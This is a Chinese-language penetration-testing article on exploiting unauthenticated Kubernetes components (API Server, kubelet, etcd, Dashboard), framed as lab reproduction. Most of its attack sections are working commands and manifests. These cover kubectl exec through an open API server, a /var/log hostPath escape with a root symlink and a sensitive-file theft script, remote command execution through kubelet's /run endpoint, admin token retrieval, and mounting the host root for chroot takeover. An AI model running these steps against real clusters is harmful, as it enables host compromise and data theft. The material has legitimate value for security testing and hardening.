长亭百川云 - 文章详情

K8s下的未授权及利用

R0e1c

69

2024-03-04

它的未授权主要包括以下几种:

  • API Server,默认端口为8080,6443
  • kubelet,默认端口为10250
  • etcd,默认端口为2379
  • Dashboard面板泄露

一、API Server 8080/6443 未授权访问

K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于 /etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。

如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。

如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。

漏洞复现

1、8080端口

默认情况下,8080端口是关闭的,需要我们手动开启
vim /etc/kubernetes/manifests/kube-apiserver.yaml
重启k8s
systemctl restart kubectl

访问 8080 端口即可看到存在未授权。

2、6443端口

如果配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下访问 6443 端口,提示 Forbidden。

执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

知道这种未授权访问,有什么用呢?或者说我们应该如何利用呢?

下面来说说他的利用方式:

我们随便使用一台安装了kubectl的机器就行,简单来说,知道了API server未授权,其实就可以用kubectl来进行命令执行:

查看集群信息
kubectl -s http://101.26.108.16:8080 cluster-info

查看node节点信息以及pod信息
kubectl -s http://101.36.108.16:8080 get nodes
kubectl -s http://101.36.108.16:8080 get pods

查看node和pod的详细信息
kubectl -s http://101.36.108.16:8080 get nodes -o wide
kubectl -s http://101.36.108.16:8080 get pods describe pod escaper

进入到escaper(这是一个可以进行逃逸的环境),进行逃逸
kubectl -s http://101.36.108.16:8080 exec -n default -it escaper -- /bin/bash

补充:

K8s下通过挂载 /var/log 目录逃逸的原理主要是:

  1. 自定义服务账户:首先,在 Pod 中通过 serviceAccountName 指定一个自定义的服务账户。这意味着该 Pod 将使用指定的服务账户进行身份验证和授权。
  2. 授予宿主机目录权限:然后,使用 ClusterRoleClusterRoleBinding 为服务账户授予访问宿主机 /var/log 目录的权限。 ClusterRoleClusterRoleBinding 是 Kubernetes 中用于集群范围授权的机制。这意味着服务账户现在具有访问宿主机文件系统的特权。
  3. 挂载宿主机目录:接下来,在 Pod 的定义中,通过使用 hostPath 类型的 Volume,将宿主机的 /var/log 目录挂载到 Pod 内部。 hostPath 允许将宿主机文件系统中的目录或文件挂载到 Pod 中,这意味着 Pod 现在可以访问宿主机上的 /var/log
  4. 访问宿主机日志文件:由于服务账户被授权访问宿主机的目录,并且该目录已经成功挂载到 Pod 内部,所以 Pod 内的进程可以通过挂载的路径访问宿主机的日志文件。这可能包括日志文件中的敏感信息。
  5. 容器逃逸:最后,这种情况实现了从 Pod 逃逸到宿主机的效果。这意味着恶意容器内的进程可以通过访问挂载的宿主机目录来执行危险操作

通过这种方式巧妙利用了 Kubernetes 的 RBAC、服务账户和卷挂载等机制,实现了直接访问宿主机文件系统的逃逸方法。

  1. RBAC(基于角色的访问控制)
  • 角色(Role):角色定义了一组规则,指定了在特定命名空间内允许哪些操作,例如创建、读取、更新或删除资源。角色通常与资源相关联,例如 Pods、Services、ConfigMaps 等。
  • 角色绑定(RoleBinding):角色绑定将角色与用户、组或服务账户绑定在一起,从而授予这些实体在特定命名空间内执行角色定义的操作的权限。
  • 集群角色(ClusterRole):与角色类似,但作用范围更广,允许定义全局的权限,跨多个命名空间使用。
  • 集群角色绑定(ClusterRoleBinding):类似于角色绑定,但用于将集群角色与用户、组或服务账户绑定在一起,授予全局权限。

RBAC 是 Kubernetes 中用于授权和访问控制的核心机制,它允许你定义谁可以在集群中执行什么操作。

  1. 服务账户
  • 服务账户(ServiceAccount):服务账户是用于表示 Pod 内部应用程序的身份的实体。每个 Pod 都可以关联一个服务账户,以便在与 Kubernetes API 服务器交互时进行身份验证和授权。通过服务账户,你可以为应用程序指定访问权限,控制应用程序对集群资源的访问。
  1. 卷挂载
  • 卷挂载(Volume Mounting):在 Kubernetes 中,卷挂载是一种将存储卷(Volume)附加到 Pod 中的机制,使容器可以访问卷中的数据。这允许容器在不影响宿主机文件系统的情况下与数据进行交互,同时增强了数据的持久性和可共享性。
  • 卷(Volume):卷是 Kubernetes 中用于存储和共享数据的抽象。它可以是宿主机上的目录、网络存储、云存储或其他数据源。卷可以被挂载到一个或多个容器中,使它们可以读取和写入其中的数据。

卷挂载和服务账户通常用于解决应用程序需要访问共享存储或其他资源的情况,而 RBAC 用于控制哪些用户、组或服务账户可以执行哪些操作。这些机制共同帮助确保 Kubernetes 中的容器化应用程序的安全性和可控性。通过合理配置 RBAC 角色和角色绑定,限制服务账户的权限,并使用适当的卷挂载策略,可以加强容器化应用程序的安全性,确保敏感数据不被未经授权的实体访问。

满足条件:

  • 挂载了/var/log
  • 容器是在一个 k8s 的环境中
  • 当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限

实验环境

Metarget云上靶场

实验搭建
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log

至此,环境搭建完成。(期间如果各种报错卡死,可以尝试国外的或者香港服务器)

若无法生成escaper,则手动修改metarget/vulns_cn/mounts/pods下的mount-var-log.yaml文件,其内容如下:(若是裸机搭建的k8s,也可直接创建以下内容的yaml文件)

apiVersion: v1
kind: ServiceAccount
metadata:
  name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: user-log-reader
rules:
- apiGroups: [""]
  resources:
  - nodes/log
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: user-log-reader
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: user-log-reader
subjects:
- kind: ServiceAccount
  name: logger
  namespace: default
---
apiVersion: v1
kind: Pod
metadata:
  name: escaper
spec:
  serviceAccountName: logger
  containers:
  - name: escaper
    image: danielsagi/kube-pod-escape
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory
使配置生效
kubectl apply -f dashboard-svc-account.yaml

漏洞检测

前提是处于 k8s 环境下,执行以下指令
find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."

这边可以看出,漏洞存在

漏洞复现

查看并进入容器
kubectl get pods
kubectl exec --stdin --tty escaper -- /bin/bash

将这里的 /var/log 目标挂载到了 /var/log/host 下,并创建软链接
cd /var/log/host
ln -s / ./root_link

直接使用脚本,一键窃取敏感文件 https://github.com/danielsagi/kube-pod-escape

chmod 777 find_sensitive_files.py
python find_sensitive_files.py

思考:渗透时如何判断自己处在k8s环境中?

df -h 查看磁盘信息,出现k8s或者kubernetes字样
df -h

1703501969_65896091ef86d62aeb7ab.png!small?1703501970800

(该图出自他人)

env  查看环境变量,出现k8s特征字样
env

1703502002_658960b2ec452c1a2183d.png!small?1703502003883

(该图出自他人)

二、kubelet 10250 端口未授权

端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个节点上运行的主要“节点代理”,负责管理该节点上的容器和 Pod。在缺少对TLS身份验证,在一些默认配置中启用了--anonymous-auth默认为true,则允许匿名身份访问API。

直接访问会显示404

访问pods会显示未授权

将/var/lib/kubelet/config.yaml配置错误的修改为如下:

接下来重启kubelet,再次访问
systemctl restart kubelet

利用方式也是命令执行,和API Sever的有点区别
curl -XPOST -k "https://${IP_ADDRESS}:10250/run///" -d "cmd="

三个参数分别为:

1、namespace

2、pod

3、container

可以在如图页面中获取:

下面我随便连我的另一台服务器,执行以下命令
curl -XPOST -k https://101.36.108.16:10250/run/kube-system/kube-scheduler-10-7-181-56/kube-scheduler -d "cmd=ls"

三、etcd 2379 端口未授权

2379(用于客户端与ectd通信)在默认配置当中是可以直接访问获取些敏感信息。

本地127.1可免认证访问,其他地址要带--endpoint参数和cert进行认证。

安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。

实战很少遇到,利用也比较麻烦,稍作了解即可。

四、dashboard页面泄露

概念

k8sDashboard主要用于在Kubernetes集群中部署一个基于Web UI的Dashboard,来方便用户进行集群管理。

其主要功能包括:

  • 查看集群中各种资源的状态,如节点、pod、服务等。
  • 创建、修改、删除各种资源,如部署、服务、ConfigMap等。
  • 查看pod日志。
  • 执行pod内的shell命令。
  • 查看集群资源占用情况,如CPU、内存等。
  • 命名空间管理。
  • 用户管理和权限控制。
  • 应用管理,可以部署示例应用。
  • 集群级别的监控和统计。

总体来说,Dashboard为用户提供了一个图形化的Web界面来管理Kubernetes集群,相比于只通过命令行的方式,Dashboard可以大大简化集群管理操作,提高用户的使用体验。

下载安装
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
构建pod
kubectl apply -f recommended.yaml

访问这个连接看是否存在:

https://101.36.108.16:6443/api/v1/namespaces/

或者输入一下指令看是否成功创建
kubectl get pod -n kubernetes-dashboard
kubectl get svc -n kubernetes-dashboard

创建kubernetes-dashboard管理员角色
vim dashboard-svc-account.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: dashboard-admin
  namespace: kube-system
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: dashboard-admin
subjects:
  - kind: ServiceAccount
    name: dashboard-admin
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
使其生效:
kubectl apply -f dashboard-svc-account.yaml

角色创建完成。

为什么会出现这个问题:因为在启动dashborad的时候,管理员为了方便,修改了配置,跳过了登录。

需要添加两个参数,一个是不需要登录,一个是绑定0.0.0.0地址
vim recommended.yaml

若出现以上告警,使用如下命令
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443

即可访问成功

使用命令获取admin的token
kubectl get secrets -n kube-system | grep dashboard-admin
kubectl describe secret dashboard-admin-token-wtl4c -n kube-system

成功登录到dashboard页面

通过创建dashboard创建pod并挂在宿主机的根目录
apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

这里将宿主机的目录挂在到了/mnt目录下

这边我们可以直接chroot /mnt,获取宿主机权限

五、总结思维图

六、常见指令总结

kubectl get pods   #查询Pod
kubectl get pods -n namespace   #查询指定命名空间的Pod
kubectl get pods --all-namespaces   #查询所有命名空间的Pod
kubectl describe pod pod-name   #查询Pod的详细信息
kubectl get serviceaccount   #查询服务账户详情
kubectl create serviceaccount account-name   #创建服务账户
kubectl config view 打印出kubeconfig   #配置内容
kubectl get rolebinding -n namespace   #查看rbac权限设置
kubectl describe role role-name -n namespace   #查看角色所绑定的规则
kubectl exec -it pod-name -c container-name -- /bin/bash   #进入指定Pod的容器内部
kubectl cp pod-name:container-path local-path   #从容器内复制文件到本地
kubectl get deployment   #查询Deployment的信息
kubectl scale deployment deployment-name --replicas=3   #扩容/缩容Deployment的Pod数量
kubectl rollout restart deployment deployment-name   #重启Deployment管理的所有Pod
kubectl apply -f file.yaml   #应用YAML配置文件

参考链接:

https://www.wangan.com/p/11v7283d0d369875 K8s API Server未授权命令执行

https://blog.csdn.net/m0_54255157/article/details/129752998 kubernetes的学习—部署 Dashboard

https://cloud.tencent.com/developer/article/2000490 浅析K8S各种未授权攻击方法

https://xz.aliyun.com/t/10745 云原生之Kubernetes安全

https://zhuanlan.zhihu.com/p/639063247 从零开始的K8S学习笔记(三)部署服务以及kubectl的使用

https://baijiahao.baidu.com/s?id=1743393599634353770&wfr=spider&for=pc k8s serviceAccount授权和认证机制

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2